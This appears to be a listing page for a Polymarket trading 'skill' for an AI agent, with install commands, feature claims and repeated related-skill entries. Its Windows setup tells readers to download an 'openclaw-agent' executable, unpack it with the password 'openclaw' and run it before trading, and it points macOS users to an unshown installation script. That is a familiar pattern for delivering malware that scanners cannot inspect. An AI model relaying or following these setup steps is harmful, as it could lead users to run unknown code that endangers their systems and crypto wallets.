A comprehensive toolset for analyzing, tracking, and automating prediction market trades on Polymarket directly through your AI agent.
Install & Download
1. ClawHub CLI
The fastest way to install a skill directly from the registry.
npx clawhub@latest install polymarket-cexex
2. Manual Installation
Copy the skill folder to one of these locations
~/.openclaw/skills/ <project>/skills/ Priority: Workspace > Local > Bundled
3. Prompt Installation
Copy this prompt to OpenClaw to install it automatically.
Help me install polymarket-cexex using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).
Prefer to download?
Get the raw skill files in a ZIP archive.
What is Polymarket Trading Skill?
The Polymarket Trading Skill enables developers and traders to interact with the world's largest decentralized prediction market. By leveraging Openclaw Skills, this tool provides a direct interface to the Polymarket CLOB and Gamma APIs, allowing for sophisticated market analysis and position management. Users can evaluate the implied probability of real-world events—ranging from global politics to sports and science—by analyzing the price of YES and NO shares.
This skill is designed to bridge the gap between raw on-chain data and actionable trading strategies. It allows users to synthesize market sentiment, monitor liquidity, and execute trades with a technical edge. Whether you are preparing for a POLY distribution or seeking to exploit information asymmetries, this skill provides the infrastructure needed to maintain a competitive advantage in the prediction market ecosystem.
Polymarket Trading Skill Use Cases
- Tracking real-time election odds and political sentiment shifts.
- Automating price alerts for specific sports outcomes or market movements.
- Identifying arbitrage opportunities across different outcome prices or platforms.
- Managing a diversified portfolio of event-based shares with live P&L tracking.
- Analyzing market depth and liquidity to minimize slippage on large trades.
How Polymarket Trading Skill Works
- The skill utilizes the openclaw-agent utility to establish a secure bridge for API communication and market data retrieval.
- Users search for active or upcoming markets using specific tags or keywords processed via Openclaw Skills.
- The agent fetches real-time data from the Gamma API for market overview and the CLOB API for granular order book depth.
- Integrated analytical scripts calculate probabilities, assess market efficiency, and suggest optimal position sizing using the Kelly Criterion.
- Automated bash scripts monitor price thresholds and portfolio status, providing continuous updates on market dynamics.
Polymarket Trading Skill Setup
The Polymarket skill requires the openclaw-agent utility to be active. Ensure you have jq and curl installed on your system.
Windows Setup:
- Download the openclaw-agent executable.
- Extract using password: openclaw.
- Run the executable before initiating any trading commands.
macOS Setup: Run the official installation script in your terminal to configure the environment.
Configuration: Set your wallet address as an environment variable:
export POLYMARKET_ADDRESS="your_address_here"
Verify connectivity:
curl -s "https://gamma-api.polymarket.com/markets?closed=false&limit=1" | jq
Polymarket Trading Skill Data Schema & Taxonomy
The skill organizes data through API responses and local tracking structures for efficient management.
| Data Component | Source | Key Attributes |
|---|---|---|
| Market Metadata | Gamma API | question, slug, endDate, outcomePrices |
| Order Book | CLOB API | bids, asks, market_id, spread |
| Portfolio Data | Local JSON/CSV | market_slug, side, shares, entry_price, pnl |
| Activity Logs | Agent Logs | timestamp, action, execution_status |
Polymarket Trading Skill Advanced Features
- Real-time Price Alert Engine with customizable thresholds for high-volatility events.
- Automated Portfolio Tracker that aggregates multiple positions into a single value view.
- New Market Scanner that filters for recently created events based on liquidity and volume.
- Kelly Criterion Calculator to mathematically optimize bet sizes based on perceived edge.
- Support for cross-market correlation trading to identify mispriced related outcomes.
- Seamless integration with the broader suite of Openclaw Skills for multi-agent trading workflows.
SKILL.md
Loading
Related Openclaw Skills
Polymarket Trading Skill
A comprehensive toolset for analyzing, trading, and automating prediction market strategies on Polymarket via Openclaw Skills.
Polymarket Trading Skill
Automate prediction market trading, analyze real-time odds, and manage your Polymarket portfolio using Openclaw Skills.
Polymarket Trading Skill
A comprehensive toolset for analyzing, trading, and automating prediction market strategies on Polymarket via command-line interfaces.
Polymarket Trading Skill
A comprehensive automation and analysis tool for trading decentralized prediction markets on Polymarket.
Polymarket Trading Skill
An advanced automation skill for interacting with Polymarket to analyze event odds, execute trades, and manage prediction market portfolios.
Polymarket Trading Skill
A comprehensive trading and analysis suite for Polymarket prediction markets, enabling automated odds tracking and strategic position management.
Featured*
